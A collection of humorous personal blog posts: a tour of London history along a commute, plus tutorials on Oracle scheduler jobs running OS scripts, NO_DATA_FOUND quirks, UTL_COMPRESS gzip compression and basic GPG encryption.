By now it’s no surprise that the new PDB has the same non-oracle users as the PDB we’ve cloned :

Remember to ensure db will open on restart :

alter pluggable database eta save state;

Three databases for the price of one. That should keep me quiet for a bit.

Acknowledgements

As is so often the case, I found what I was looking for in an OracleBase article.

The answer to this AskTom question was also rather helpful in explaining why my PDBs weren’t starting when the database was.

My Commute through London

Tue, 2020-06-09 14:18

Don’t worry. The title isn’t an oblique reference to something technical so I’m not going to let you get halfway down the page and then start writing some indecipherable computer code.
Also, if you happen to be my Dad, some of what follows may be familiar as you grew up around here.
If you’re not then you’re not obliged to laugh at any gags I’ve worked in because they’re mainly for his benefit.

We’re going to go on a quick (pre-lockdown) tour through history and legend, following the route of what, until fairly recently, was my daily commute across London before catching the train to Milton Keynes. More or less.
Look, to be completely honest we may be taking a couple of detours along the way. If your searching for the quickest route from Canary Wharf to Euston, well this may not be it.
Neither will we be paying too much attention to of some of the more famous landmarks that London has to offer.
Instead, we’ll be using the Tube Network to bounce back and forth through the centuries like a joyride in a TARDIS, taking a look at some of the City’s less obvious historical sites along the way.
Incidentally, if that idea does take your fancy, there’s a TARDIS parked in Earl’s Court Road.

Docklands

Our journey begins in the East of the City.
30 years ago, London’s Docklands were just a another post-industrial wasteland. Since then, a new Financial District has arisen phoenix-like from the ruins. Canary Wharf now contains the UK Headquarters of a number of Financial institutions.

At it’s centre stands the skyscraper known as Canary Wharf Tower, or One Canada Square to give it it’s proper title.
Until the Shard came along, it was the tallest building in the United Kingdom.

A large erection in the middle of the Financial District. Who’d have thought ?

From here, we need to head west. We could opt to descend into the bowels of the earth and catch a Jubilee Line tube into the centre of the City.
Alternatively, we could wander over to the Crossrail Terminal and get there even quicker on the Elizabeth Line…well, maybe next year we can.
The Terminal itself is built and contains numerous shops, restaurants and even a roof garden. All that’s missing are the trains. They’ll be along soon. Well, soonish.

End on, the Terminal looks a bit like something that Thunderbird 2 would carry. You can just imagine the lower half opening to form a ramp for Thunderbird 4 to slide down silently into the murky waters of West India Quay…

THUNDERBIRDS ARE…running a replacement bus service

For now however, we’ll need to make use of an elevated section of the Docklands Light Railway (DLR) to carry us into the heart of the “Old” City.

The first calling point of note is Limehouse, which once formed part of the Parliamentary Constituency represented by Clement Attlee – Prime Minister from 1945 to 1951.
Attlee is remembered as one of (if not the) greatest peacetime Prime Ministers, largely due to his government’s creation of the Welfare State. Indeed, the National Health Service created in 1948 is one of the few things that Brits can still agree on as being a rather good idea.

One station further up the line we shift back about a decade into the midst of the Depression…

Just around the corner from Shadwell Station is Cable Street. The Legend of The Battle of Cable Street is that the working class residents of the area banded together and fought a battle which caused the Fascists to abandon their provocative plans to march through the heart of the East End.
The Battle of Cable Street has become a touchstone event in the history of British Socialism. Soon after the event, the support for the British Union of Fascists dissipated and they were never a force in British politics.
In Cable Street itself, there is now a mural depicting the event :

At this point in our journey, we have a choice of two termini. Given we’re not in any particular hurry, we can have a look at both. Let’s start with Tower Gateway.

Tower Hill

As you come out of the station, you find yourself in the middle of an awful lot of History.
Standing next to the iconic Tower Bridge, is the Tower of London – built by William the Conqueror as a none-too-subtle reminder to his new subjects that he wasn’t known as William the Bastard for nothing.

Through the crowds of tourists, it may be possible to spot more TV historians than you’d find on a Friday night on BBC4, all vying to do their piece-to-camera about events taking place here in their particular period of interest.
Yes, that may well be Dan Snow and David Starkey playing rock-paper-scissors to find out who gets to film once Lucy Worsley has finished her bit about the fate of some runner-up in a Tudor power struggle.
You may not spot Mary Beard because she’s wisely avoided the crush and has popped to the pub to meet up with David Olusoga. We’ll be following in Mary’s footsteps shortly.

First though, we should pay a quick visit to what is, for the moment at least, the City’s only public “statue” of a rather notable Prime Minister – Margaret Thatcher.
Statue is stretching it a bit. Maggie was always someone who polarised opinion, a fact which gives some context to this depiction of her on the Tower Hill Sundial

There is a salutary lesson here and one that will be re-enforced later in our odyssey through the City. If you want to be commemorated in statuary, then good PR is more important than good (or even notable) deeds.

For now though, if you’ve worked up a thirst with all this history, I know just the place. Just around the corner from the sundial is The Hung Drawn and Quartered.
Apart from the name, the pub is unusual in that it has this excerpt from Samuel Pepys’ diary on one of it’s outside walls :

Whilst we’re sitting outside the pub, enjoying our drinks in the uncharacteristic sunshine, we may reflect on the unusual shape of the skyline. Indeed, there seems to have been a shortage of spirit-levels in recent years as none of the newer skyscrapers seem to have straight sides that are the same height.
They do however, all have nicknames. There’s The Shard, The Cheese Grater, and the one that people are unaccountably relieved to learn, is known as The Pepper Pot.
From our current vantage point we can see another of this new breed – The Walkie-Talkie. Maybe architects frequent this pub as well as historians ? If so, we might form an alternative hypothesis to the spirit-level shortage theory…

looksh shtrait to me !

Before we get too comfortable – this is Central London after all and at these prices we can’t afford to make a night of it – we need to return to Shadwell. This time, we’ll try the other leg of the DLR, which takes us down to the deepest platforms on the tube network – Platforms 9 and 10 at Bank Station.

Bank

Bank is named after The Bank of England. Indeed, the station’s Central Line platforms are full of commuters at rush hour, most of whom are unaware that they are standing next to (and partially under) the Bank’s vaults.

Rather than speculating just how much gold is almost within touching distance, we’re going to a different tube line in the station.

The Waterloo and City line is probably the easiest railway line you to navigate as you’ll have to try quite hard to miss your stop.

Since 1898 this line has transported commuters between London’s traditional financial district and it’s busiest station.
Once at Waterloo, you may be tempted to pop out and take a quick glance at The London Eye – a giant ferris wheel that was built for the Millennium and is the first landmark to be destroyed in any disaster movie in which London appears, however briefly.
I’ve got no time for that however, I need to jump on the Jubilee Line and get across The River to…

Westminster

We emerge from Westminster Station at the North end of Westminster Bridge. We’re right next to the Houses of Parliament in fact. But hey, it’s not like we’re tourists or anything so rather than checking our watches against Big Ben, we can focus on the ladies in the chariot at the end of the bridge.
Here we have an object lesson in the value of positive public perception when it comes to being immortalised in bronze.
Boudicca – for she is the Charioteer in question – is famous for leading a rebellion against the Romans. She also left something of a mark when she last visited London.
In fact, archaeologists have found a layer of burnt debris from 62 A.D. when Boudicca went for an epic night on the town…and burned it to the bedrock.

From this formidable lady, we’re going to pop round the corner, sauntering past another individual who has benefited from centuries of positive spin.
King Richard (the Lionheart), is sitting there on his horse, right outside Parliament.
Richard spent only six months of his eleven year reign in England itself. The rest of the time was spent fighting costly foreign wars and being held for ransom on the way home by people he’d upset on the way to said wars. Essentially, his reign seems to have been a twelfth century version of lads on tour – go abroad somewhere hot, smash the place up and then get your relatives back home to stump up your bail money.

Eventually we arrive at one of the few public statues in the City that is probably more famous for the artist than the subject – Rodin’s Burghers of Calais.

Now, if you were so inclined, you might continue your journey up Whitehall, to Trafalgar Square, where Nelson sits atop his column and surveys the city. But some of us have a train to catch.
Returning to Westminster Station, we’re back on the Jubilee Line for a couple of stops until we alight at…

Baker Street

Baker Street Station is one of the oldest on the tube network, opening in 1863 as part of the then Metropolitan Railway.
221b Baker Street is, of course, the residence of Sherlock Holmes and references to the famous literary detective are prominent in the decor.
There are excerpts from some of the Sherlock Holmes stories on the Jubilee Line platforms…

…as well as some rather unusual decoration on the Bakerloo Line…

But wait – there is no 221b Baker Street and what’s more, there never has been. Some sleuthing is required to track down the actual whereabouts of the Great Man’s abode. Fortunately, it’s on of our way…

Euston

The last leg of our journey takes us on the Hammersmith and City line to Euston Square, from where it’s a short walk to the main Euston Station and the train home to Milton Keynes.
But if we take a short detour down Gower Street we come across a familiar site…

Cup of tea, Watson ?

This is the building that was used as 221b Baker Street in the Sherlock TV series starring Benedict Cumberbatch. It’s actually in North Gower Street.
As the blue plaque proclaims, it was once the home of Italian nationalist Giuseppe Mazzini.

All that remains now is to wander into Euston Station itself and hope that the trains are running OK.

Acknowledgements

Most of the photos I used here were taken by me at various times. There are a couple I got from Wikimedia Commons.
They are :

Running a shell script from inside an Oracle database using DBMS_SCHEDULER

Wed, 2020-05-27 12:11

As I write, various parts of the United Kingdom are still under variations of the theme of “lockdown”. Not that I’m stir crazy or anything but I’ve now decided it’s time to explore one way of escaping, from the confinements of my database, at least.

Specifically I’m going to :

  • create an OS user on the database server
  • create an OS group to allow both the new user and the oracle user to access to a common location
  • create a shell script owned by the OS user which writes to that common location
  • create a credential to access that user from inside the database itself
  • setup and run a scheduler job to execute a shell script as the new OS user
  • read the output file generated by the shell script from inside the database

For this exercise, I’m using my trusty 18cXE database running on CentOS…

Setting up the Linux User

Note that my database settings are defaulted so that, when my application needs to do anything on the OS ( e.g. read a file via an external table), it will do so as the OS user oracle.
This may be different on your database, especially if someone has specified a different user in the PDB_OS_CREDENTIAL parameter.

First of all, I’m going to create a group :

sudo groupadd app_out

…and then the OS user (setting a password) …

useradd -m xerunner
passwd xerunner (xerunner)

…before assigning both the new xerunner and existing oracle users to the new group :

usermod -G app_out xerunner
usermod -G app_out oracle

I’ll now create a directory under $ORACLE_BASE and change the directory’s group to app_out, and ensure that group members have full access to the directory :

sudo su oracle
mkdir app_script_output

chgrp app_out app_script_output
chmod g+w app_script_output
ls -ld app_script_output
drwxrwxr-x 2 oracle app_out 6 May 24 21:32 app_script_output/

To test this, we can connect as the new xerunner user :

sudo su xerunner
touch /opt/oracle/app_script_otuput/silly.txt
ls -l /opt/oracle/app_script_output/silly.txt

-rw-rw-r-- 1 xerunner xerunner 0 May 24 21:36 silly.txt

Now for the shell script we’re going to call from inside the database. Just to demonstrate that the oracle user does not require execute permissions on the script, we’ll create it in as xerunner in that user’s home directory. The script is called message.sh :

#!/bin/sh
/bin/echo "Help, I'm trapped inside this database!" >/opt/oracle/app_script_output/message.txt
exit 0

We can see that permissions are fairly restricted, with others (which includes oracle), having only read access :

ls -l /home/xerunner/message.sh 
-rwxrw-r-- 1 xerunner xerunner 114 May 24 21:42 /home/xerunner/message.sh

Now we’ve completed the setup on the OS, we need to return to the database.

Creating a credential

We need to create a Credential object in Oracle. This will allow us to connect to the database server as xerunner without having to know any of the gory details ( such as the user’s password).
Back in the olden days (when only cats did social distancing), credential management was handled in the DBMS_SCHEDULER package.
Since 12c, the DBMS_CREDENTIAL package has assumed this role.

First up, let’s create our credential :

begin
    dbms_credential.create_credential(
        credential_name => 'myapp_ext_jobs',
        username => 'xerunner',
        password => 'super secret password');
end;
/

…where super secret password is the password for the xerunner user on the OS.

You can include a comment when creating a credential. In hindsight, that might have been a good idea.
Fortunately, I can edit the credential rather than having to drop and re-create it…

begin
    dbms_credential.update_credential( 
        credential_name => 'myapp_ext_jobs', 
        attribute => 'comments', 
        value => 'OS User to execute shell scripts from scheduler jobs');
end;
/

I can see details of my credentials by querying the appropriate data dictionary view :

select username, comments
from user_credentials
where credential_name = 'MYAPP_EXT_JOBS';

USERNAME        COMMENTS                                               
--------------- -------------------------------------------------------
xerunner        OS User to execute shell scripts from scheduler jobs   

One other point to note, in the aforementioned olden days, it was possible to retrieve the password of a credential by using DBMS_ISCHED.GET_CREDENTIAL_PASSWORD. See Martin Berger’s explanation here for details.

In 18c however, this is no longer the case.

Running the shell script from a Scheduler Job

Scheduler jobs are extremely useful for doing all sorts of things, not just running – well – scheduled jobs.
In this case we want to run the shell script. To do this, we first create a job :

begin
    dbms_scheduler.create_job(
        job_name => 'my_external_job',
        job_type => 'EXECUTABLE',
        job_action => '/home/xerunner/message.sh',
        credential_name => 'MYAPP_EXT_JOBS',
        auto_drop => false,
        enabled => true);
end;
/

… and now we can run it :

begin
    dbms_scheduler.run_job( 'my_external_job');
end;
/

Note that, by default, RUN_JOB executes the specified job in the current session – i.e. in the foreground.
We can check that the job has been successful by connecting to the OS and looking in the appropriate directory….but that’s boring. Let’s have a look without leaving the comfort of our database.

Reading the file

First, we need to create a directory object for the OS directory in question. This shouldn’t be a problem because we already know that the oracle OS user has permissions on the directory on the OS :

create directory app_script_out
    as '/opt/oracle/app_script_output'
/

Then we can just read the file :

declare
    fdir all_directories.directory_name%type := 'APP_SCRIPT_OUT';
    fname varchar2(128) := 'message.txt';
    fh utl_file.file_type;
    buf varchar2(32767);
    
    fexists boolean;
    flen number;
    bsize number;
    
begin
    -- Make sure the file is where we think it is before we try to open it...
    utl_file.fgetattr( fdir, fname, fexists, flen, bsize);
    if not fexists then
        raise_application_error(-20000, q'[Hold up, the file isn't there]');
    end if;
    
    fh := utl_file.fopen(fdir, fname, 'r', 32767);
    begin
        -- Read and print each line in a nested block.
        -- NO_DATA_FOUND will be raised when we hit the end of the file
        loop
            utl_file.get_line(fh, buf, 32767);
            dbms_output.put_line(buf);
        end loop;
    exception when no_data_found then
        dbms_output.put_line('End of file reached');
        utl_file.fclose(fh);
    end;
end;
/

Help ! I'm trapped inside this database !
End of file reached


PL/SQL procedure successfully completed.

No Data ? No Problem ! Fun and Games with the NO_DATA_FOUND exception

Wed, 2020-05-06 14:29

I can’t remember how long we’ve been in lockdown now but between you and me, I think my Oracle Database may be cracking up.
As Exhibit A, I present the fact that RDBMS seems to raise the NO_DATA_FOUND exception only when it feels like it…

Rotate the Pod please, HAL

NO_DATA_FOUND is one of Oracle’s built-in exceptions and is raised when your code encounters an ORA-01403 : no data found error.
It’s often associated with a select into clause, as this construct will (should) return a single row.
If it doesn’t it should cause either a TOO_MANY_ROWS or a NO_DATA_FOUND exception, depending on whether it’s found multiple rows, or couldn’t find any…

set serverout on size unlimited
clear screen

declare
    mystring varchar2(100);
begin
    select 'I am completely operational, and all my circuits are functioning perfectly'
    into mystring
    from dual
    where 1 = 2;
end;
/

Run this and you will get the aforementioned error :

ORA-01403: no data found
Open the Pod Bay doors, HAL

Let’s go right ahead and create a function with this code :

create or replace function stir_crazy return varchar2 is
    mystring varchar2(100);
    begin
        select 'I am completely operational, and all my circuits are functioning perfectly'
        into mystring
        from dual
        where 1 = 2;
        
        return mystring;
end stir_crazy;
/

We’ve not added any exception handling in the function so the error should propogate back to the caller…

select nvl(stir_crazy, q'[I'm afraid I can't do that, Dave]') as stir_crazy from dual;

STIR_CRAZY                              
----------------------------------------
I'm afraid I can't do that, Dave

That’s right. Rather than raising an ORA-01403 error, Oracle has simply returned NULL.
Have I just made some silly mistake in the code ? Let’s check. This time, we’ll handle the exception, if it’s raised…

begin
    if stir_crazy = null then
        dbms_output.put_line('Daisy, Daisy, give me your answer, do !');
    else
        dbms_output.put_line('Just what do you think are you doing, Dave ?');
    end if;
exception when no_data_found then
    dbms_output.put_line(q'[I've still got the greatest enthusiasm and confidence in the mission]');
end;
/

Run this and we can see that the exception is now raised…

I've still got the greatest enthusiasm and confidence in the mission


PL/SQL procedure successfully completed.
I’ve just picked up a fault in the AE-35 unit

It turns out that Oracle has always behaved in this way.

According to this explanation, NO_DATA_FOUND is not an error when encountered from SQL, merely an “exceptional condition”.

I honestly think you ought to sit down calmly, take a stress pill, and think things over

This may be no more than an interesting quirk, depending on what is considered as SQL in this context…

As an example, let’s look at the HR.COUNTRIES table :

select country_id, country_name, region_id
from countries;

COUNTRY_ID      COUNTRY_NAME                         REGION_ID
--------------- ------------------------------ ---------------
AR              Argentina                                    2
AU              Australia                                    3
BE              Belgium                                      1
BR              Brazil                                       2
CA              Canada                                       2
CH              Switzerland                                  1
CN              China                                        3
DE              Germany                                      1
DK              Denmark                                      1
EG              Egypt                                        4
FR              France                                       1
IL              Israel                                       4
IN              India                                        3
IT              Italy                                        1
JP              Japan                                        3
KW              Kuwait                                       4
ML              Malaysia                                     3
MX              Mexico                                       2
NG              Nigeria                                      4
NL              Netherlands                                  1
SG              Singapore                                    3
UK              United Kingdom                               1
US              United States of America                     2
ZM              Zambia                                       4
ZW              Zimbabwe                                     4

25 rows selected. 

The REGION_ID references the REGIONS table :

select region_id, region_name
from regions;

 REGION_ID REGION_NAME                   
---------- ------------------------------
         1 Europe                        
         2 Americas                      
         3 Asia                          
         4 Middle East and Africa        

…and we have a lookup function to return the Region Name name for each id value…

create or replace function get_region_name( i_region_id in regions.region_id%type)
    return regions.region_name%type
is
    rtn regions.region_name%type;
begin
    select region_name into rtn
    from regions
    where region_id = i_region_id;
    
    return rtn;
end;
/

Now let’s add in a record that includes a region_id value that will not be found by the function
(yes, I have disabled the Foreign Key that would normally prevent this)…

insert into countries( country_id, country_name, region_id)
values( 'NZ', 'New Zealand', 5);

As we’ve already observed, calling the function from SQL will simply cause a null value to be returned…

select country_name, get_region_name( region_id) as region_id
from countries
where country_id = 'NZ';

COUNTRY_NAME                   REGION_ID      
------------------------------ ---------------
New Zealand                                   

If we now call the function from inside a PL/SQL block, we might expect NO_DATA_FOUND to make an appearance…

set serverout on size unlimited
begin
    for r_countries in (
        select country_name, get_region_name( region_id) as region_id
        from countries)
    loop
        dbms_output.put_line( r_countries.country_name||' Region : '||r_countries.region_id);
    end loop;
end;
/

or possibly not…

Argentina Region : Americas
Australia Region : Asia
Belgium Region : Europe
Brazil Region : Americas
Canada Region : Americas
Switzerland Region : Europe
China Region : Asia
Germany Region : Europe
Denmark Region : Europe
Egypt Region : Middle East and Africa
France Region : Europe
Israel Region : Middle East and Africa
India Region : Asia
Italy Region : Europe
Japan Region : Asia
Kuwait Region : Middle East and Africa
Malaysia Region : Asia
Mexico Region : Americas
Nigeria Region : Middle East and Africa
Netherlands Region : Europe
Singapore Region : Asia
United Kingdom Region : Europe
United States of America Region : Americas
Zambia Region : Middle East and Africa
Zimbabwe Region : Middle East and Africa
New Zealand Region :


PL/SQL procedure successfully completed.

However, if we call the function from a PL/SQL statement then we get a different result :

set serverout on size unlimited
begin
    for r_countries in (
        select country_name, region_id
        from countries)
    loop
        dbms_output.put_line( r_countries.country_name||' Region :'||get_region_name( r_countries.region_id));
    end loop;
end;
/

ORA-01403: no data found
ORA-06512: at "MIKE.GET_REGION_NAME", line 6

Looks like I’m the one cracking up.
The moral of the story ? Don’t rely on NO_DATA_FOUND being raised unless you are executing a PL/SQL statement.

To Boldly gzip from PL/SQL

Tue, 2020-04-28 15:10

Lempel-Ziv. Sounds like something you might find on a starship. I mean, you can just imagine Scotty telling Kirk that they can’t go to warp because the Lempel-Ziv compressors are offline.
In fact, the Lempel-Ziv algorithm is what GNU’s Gzip program uses to compress files.
Fortunately, the UTL_COMPRESS package employs the same algorithm, which means that you can create archives using one tool that can be manipulated by the other…

Starfleet HR have generated a delimited file of their Captains from their Oracle database for loading into their data mart, which runs on a different server ( and doesn’t use Oracle).
This file needs to be compressed to make the transfer as efficient as possible.
At present, the file looks like this on the database server :

ls -l starfleet_captains.csv
-rw-r--r-- 1 oracle oinstall 343 Apr 26 15:49 starfleet_captains.csv
Compressing the file

Using UTL_COMPRESS, we can easily create a .gz archive from the file…

declare
    l_dir all_directories.directory_name%type := 'APP_FILES';
    fname varchar2(100) := 'starfleet_captains.csv';

    src_file bfile;
    lz_compressed blob;
    lz_compressed_len integer;
    fh utl_file.file_type;
    
    v_buffer raw(32767);
    buf_size pls_integer := 32767;
    v_pos integer := 1;
begin

    src_file := bfilename( l_dir, fname);
    dbms_lob.fileopen(src_file, dbms_lob.file_readonly);
    
    lz_compressed := utl_compress.lz_compress( src_file, 9); 
    lz_compressed_len := dbms_lob.getlength( lz_compressed);
    
    fh := utl_file.fopen( l_dir, fname||'.gz', 'wb');
    
    while v_pos < lz_compressed_len loop
        dbms_lob.read( lz_compressed, buf_size, v_pos, v_buffer);
        utl_file.put_raw( fh, v_buffer, true);
        v_pos := v_pos + buf_size;
    end loop;
    utl_file.fclose(fh);
    -- Now need to delete original
    utl_file.fremove(l_dir, fname);
end;
/

The LZ_COMPRESS function accepts two arguments. The first is the file we’re compressing.
The second is the “quality” – a number between 1 and 9 with 1 being the fastest execution, but least compression, and 9 being the greatest compression and the slowest execution.
We’ll come back to that shortly.
In the meantime, we can see that our delimited file has now been replaced with a compressed file…

ls -l starfleet_captains*
-rw-r--r-- 1 oracle oinstall 242 Apr 26 15:58 starfleet_captains.csv.gz

…which can now be manipulated using gzip…

gzip -l starfleet_captains.csv.gz 
         compressed        uncompressed  ratio uncompressed_name
                265                 343  34.7% starfleet_captains.csv

…and indeed, gunzip…

gunzip starfleet_captains.csv.gz

cat starfleet_captains.csv

CAPTAIN|SHIP
Archer|Enterprise NX-01
Hernandez|Columbia NX-02
Decker|USS Enterprise
Georgiou|USS Shenzou
Kirk|USS Enterprise
Lorca|USS Discovery
Pike|USS Enterprise
Styles|USS Excelsior
Terrell|USS Reliant
Tracey|USS Exeter
Adams|USS Heart of Gold
Janeway|USS Voyager
Picard|USS Stargazer
Sisko|USS Defiant
Thomas|USS Puget Sound
ROW_COUNT|15

Incidentally, some of this data does raise questions.
For example, what’s so special about Puget Sound that it gets a Starship as well as an Oracle User Group ?
Also, was Janeway overlooked for the command of the Heart of Gold because she’s not a tea drinker ?
Full disclosure : that wasn’t my geeky reference to Hitchicker’s Guide to the Galaxy. I got these ships and captains from a Star Trek Wiki.

Coming back to more immediate questions, how does UTL_COMPRESS perform with different compression settings for larger files…

Performance test

Let’s generate a more substantial file (using William Robertson’s CSV package)…

declare
    rc sys_refcursor;
begin
    open rc for
        select rownum as id,
            case mod( rownum, 8) 
                when 1 then 'Archer'
                when 2 then 'Pyke'
                when 3 then 'Georgiou'
                when 4 then 'Lorca'
                when 5 then 'Kirk'
                when 6 then 'Picard'
                when 7 then 'Sisko'
                when 0 then 'Janeway'
            end as captain,
            case mod(rownum, 8)
                when 1 then 'Enterprise NX-01'
                when 2 then 'USS Enterprise'
                when 3 then 'USS Shenzou'
                when 4 then 'USS Discovery'
                when 5 then 'USS Enterprise'
                when 6 then 'USS Stargazer'
                when 7 then 'USS Defiant'
                when 0 then 'USS Voyager'
            end as ship
        from dual
        connect by rownum < 1000000;
    
    csv.write_file( 
        p_dataset => rc,
        p_separator => chr(124),
        p_heading => 'Y',
        p_rowcount => 'Y',
        p_directory => 'APP_FILES',
        p_filename => 'famous_federation_captains.csv');
end;
/

If we look at the file on disk, we can see that it’s hefty enough for our purposes :

ls -lh famous_federation_captains.csv
-rw-r--r-- 1 oracle oinstall 27M Apr 27 17:31 famous_federation_captains.csv

To start with, let’s try compressing this using the default value for quality (6) :

set timing on
set feedback on
declare
    l_dir all_directories.directory_name%type := 'APP_FILES';
    fname varchar2(100) := 'famous_federation_captains.csv';

    src_file bfile;
    lz_compressed blob;
    lz_compressed_len integer;
    fh utl_file.file_type;
    
    v_buffer raw(32767);
    buf_size pls_integer := 32767;
    v_pos integer := 1;
begin

    src_file := bfilename( l_dir, fname);
    dbms_lob.fileopen(src_file, dbms_lob.file_readonly);
    
    lz_compressed := utl_compress.lz_compress( src_file); 
    lz_compressed_len := dbms_lob.getlength( lz_compressed);
    
    fh := utl_file.fopen( l_dir, fname||'.gz', 'wb');
    
    while v_pos < lz_compressed_len loop
        dbms_lob.read( lz_compressed, buf_size, v_pos, v_buffer);
        utl_file.put_raw( fh, v_buffer, true);
        v_pos := v_pos + buf_size;
    end loop;
    utl_file.fclose(fh);
    -- Now need to delete original
    utl_file.fremove(l_dir, fname);
end;
/

The output is :

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.329

If we examing the compressed file we can see that the compression ratio is around 90% :

ls -lh famous_federation_captains.csv.gz 
-rw-r--r-- 1 oracle oinstall 2.7M Apr 27 17:37 famous_federation_captains.csv.gz
gzip -l famous_federation_captains.csv.gz 
         compressed        uncompressed  ratio uncompressed_name
            2779405            27388901  89.9% famous_federation_captains.csv

Trying this with the quality value set to the minimum (1) :

...
lz_compressed := utl_compress.lz_compress( src_file, 1); 
...

…results in a faster runtime…

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.202

…but a marginally bigger file…

 ls -lh famous_federation_captains.csv.gz 
-rw-r--r-- 1 oracle oinstall 2.9M Apr 27 17:43 famous_federation_captains.csv.gz
gzip -l famous_federation_captains.csv.gz 
         compressed        uncompressed  ratio uncompressed_name
            2994045            27388901  89.1% famous_federation_captains.csv

Finally, let’s go for the maximum quality setting (9) :

...
lz_compressed := utl_compress.lz_compress( src_file, 9); 
...

The runtime is a little longer…

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.393

…and the resulting file is more or less the same as for the default :

ls -lh famous_federation_captains.csv.gz 
-rw-r--r-- 1 oracle oinstall 2.7M Apr 27 17:47 famous_federation_captains.csv.gz
gzip -l famous_federation_captains.csv.gz 
         compressed        uncompressed  ratio uncompressed_name
            2762750            27388901  89.9% famous_federation_captains.csv

Obviously, this is a limited test. I’m running Oracle 18cXE on CentOS. However, it may become a consideration for you if you’re either tight on space or need to speed up your compression job.

Uncompressing GZIPPED files

As we’ve seen, UTL_COMPRESS can produce files that are compatible with GZIP. But can it read files that have been compressed using GZIP ?

Let’s take a look :

 
gzip captains_log.txt
ls -l captains_log.txt.gz 
-rw-rw-rw- 1 oracle oinstall 561 Apr 27 18:00 captains_log.txt.gz

Want to read the Captain’s log ?

set serverout on size unlimited
clear screen
declare
    l_dir all_directories.directory_name%type := 'APP_FILES';
    fname varchar2(100) := 'captains_log.txt.gz';
    zipped_file bfile;
    v_unzipped blob := empty_blob();
    v_text clob;
    
    v_dest_offset integer := 1;
    v_src_offset integer := 1;
    v_lang integer := dbms_lob.default_lang_ctx;
    v_warn integer;
begin
    zipped_file := bfilename( l_dir, fname);
    dbms_lob.fileopen(zipped_file, dbms_lob.file_readonly);

    v_unzipped := utl_compress.lz_uncompress( zipped_file);
    dbms_lob.fileclose(zipped_file);
    -- Now we have the uncompressed contents of the file, let's print it out...
    
    dbms_lob.createtemporary( v_text, true);
    
    dbms_lob.converttoclob(
        dest_lob => v_text,
        src_blob => v_unzipped,
        amount => dbms_lob.lobmaxsize,
        dest_offset => v_dest_offset,
        src_offset => v_src_offset,
        blob_csid => dbms_lob.default_csid,
        lang_context => v_lang,
        warning => v_warn);
   
    dbms_output.put_line(v_text);     

    dbms_lob.freetemporary( v_text);
end;
/

Run this and Kirk’s inner-most thoughts (or possibly the lyrics to Star Trekking by The Firm) are there for all to see…

Acknowledgements

Despite appearances, I do actually do some research before kicking out this stuff.
On this occasion, the following links were of some assistance :

Secrecy and (file) Corruption – diving into the murky world of GPG encryption

Sat, 2020-04-18 10:19

Transferring sensitive data between systems often requires some for of encryption to ensure that the data is protected from prying eyes.
One common method of achieving this is to use Gnu Privacy Guard (GPG).
What I’m going to look at here is :

  • Creating GPG keys on a server
  • Using a Public Key to encrypt data on a different machine
  • Decrypting an encrypted message
  • Things to try if you get some of the more wacky GPG error messages

If you’ve stumbled on this post because of the last of these, you’re in good company. I’m sure someone initimately familiar with this tool will instantly know the meaning of the error message “Ohhhh jeeee: mpi larger than packet” but as far I’m concerned, it may as well have read “Divide by Cucumber Error”.
Hopefully, things will become clearer down the page…

Creating a GPG key

In fact, we’ll be creating two keys. The Public Key is, as it’s name suggests, generally available and anyone wanting to send us a message need only use that key to encrypt it.
The Private key is the one that only we have access to and which we can use to decrypt files encrypted with the Public Key.

To create the keys, we need to be on the server that will receive these files.
Once there, we simply run :

gpg --gen-key

which results in :

NOTE – according to the manual, the default settings are sufficient in most cases so accept them unless you have a specific reason to change them.
For the length of time the key is valid, enter “0” if you don’t want it to expire.
In this case, I’ve selected 7 days.
GPG should now prompt you for a passphrase.
NOTE – it’s really important that you remember the passphrase as otherwise you will not be able to decrypt any messages :

Finally, the keys will be generated :

Distributing the Public Key

Before we go any further, we probably want to obtain a text version of our public key that we can then distribute.
This can be accomplished by running :

gpg --armour --export me@silly.com >ponder_stibbons_public_key.txt

We now have a file that contains our Public Key. It looks like this :

I can now distribute this to anyone who wants to send me an encrypted message.

Using a Public Key to encrypt data on a different machine

I’m now on a different machine onto which I’ve downloaded the public key.
I now need to import it :

gpg --import ./ponder_stibbons_pubkey.txt 

…which returns…

gpg: key 1DA0A003: public key "Ponder Stibbons (Test generation of a GPG key) <ponders@uu.ac.am>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)

I can get a list of available keys by running :

gpg --list-keys

…which confirms that the key is now present in my keyring :

/home/mike/.gnupg/pubring.gpg
-----------------------------
pub   2048R/1DA0A003 2020-04-09 [expires: 2020-04-16]
uid                  Ponder Stibbons (Test generation of a GPG key) <ponders@uu.ac.am>
sub   2048R/11DC569B 2020-04-09 [expires: 2020-04-16]

We have some data in a file called secret_message.txt that we want to send.
With the recipients public key imported, we can encrypt the file like this :

gpg --encrypt -r ponders@uu.ac.am secret_message.txt

At this point GPG will prompt you to confirm that you want to do this :

gpg: 11DC569B: There is no assurance this key belongs to the named user

pub  2048R/11DC569B 2020-04-09 Ponder Stibbons (Test generation of a GPG key) <ponders@uu.ac.am>
 Primary key fingerprint: 8238 E5BC C165 EA3D A927  39A3 BFFB 64EC 1DA0 A003
      Subkey fingerprint: 1BE6 DCF6 F041 988F D011  A19E F66F FD9F 11DC 569B

It is NOT certain that the key belongs to the person named
in the user ID.  If you *really* know what you are doing,
you may answer the next question with yes.

Use this key anyway? (y/N) y

We now have an encrypted copy of the file…

ls -l secret_message*
-rw-rw-r-- 1 mike mike  36 Apr  9 21:23 secret_message.txt
-rw-rw-r-- 1 mike mike 386 Apr  9 21:26 secret_message.txt.gpg

…which is encrypted :

file secret_message.txt.gpg 
secret_message.txt.gpg: PGP RSA encrypted session key - keyid: 9FFD6FF6 9B56DC11 RSA (Encrypt or Sign) 2048b .

Indeed, the .gpg version of the file contains this :

We can now transfer the encrypted file to the target server.

Decrypting the file

Once the file has reached it’s intended destination it can now be decrypted by the intended recipient using their private key.
Note that in order to do this, they need to know the passphrase used to create the key in the first place :

gpg --batch --yes --passphrase ************ -o secret_message.txt --logger-file secret.log secret_message.txt.gpg

…where ************ is the passphrase.

Once we run this we can see that we have generated a log file, together with the output file :

ls -l secret*
-rw-rw-r-- 1 mike mike 169 Apr  9 21:31 secret.log
-rw-rw-r-- 1 mike mike  36 Apr  9 21:31 secret_message.txt
-rw-rw-r-- 1 mike mike 386 Apr  9 21:29 secret_message.txt.gpg

If all has gone according to plan, the logfile should look something like :

2020-04-09 21:31:11 gpg[6431] encrypted with 2048-bit RSA key, ID 11DC569B, created 2020-04-09
